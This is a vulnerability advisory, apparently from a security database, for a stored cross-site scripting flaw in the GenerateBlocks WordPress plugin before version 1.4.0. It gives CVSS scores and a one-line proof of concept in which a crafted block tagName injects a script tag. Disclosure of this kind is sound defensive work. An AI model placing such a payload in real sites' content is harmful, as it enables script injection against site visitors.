Lucene search

Apple502jWPEX-ID:E0131980-D2D3-4780-8A68-A81EE8C90B7A

HistoryNov 01, 2021 - 12:00 a.m.

GenerateBlocks < 1.4.0 - Contributor+ Stored Cross-Site Scripting

2021-11-0100:00:00

apple502j

227

5.4 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

3.5 Low

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

JSON

The plugin does not validate the generateblocks/container block’s tagName attribute, which could allow users with a role as low as contributor to perform Cross-Site Scripting attacks.

Add the following code in a post/page while in code editor mode with an Contributor account: <!-- wp:generateblocks/container {"uniqueId":"98c07d5a","tagName":"script src=data:application/javascript,alert(/XSS/)","isDynamic":true} /-->

Then view/preview the page/post to trigger the XSS

5.4 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

3.5 Low

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

JSON

Related for WPEX-ID:E0131980-D2D3-4780-8A68-A81EE8C90B7A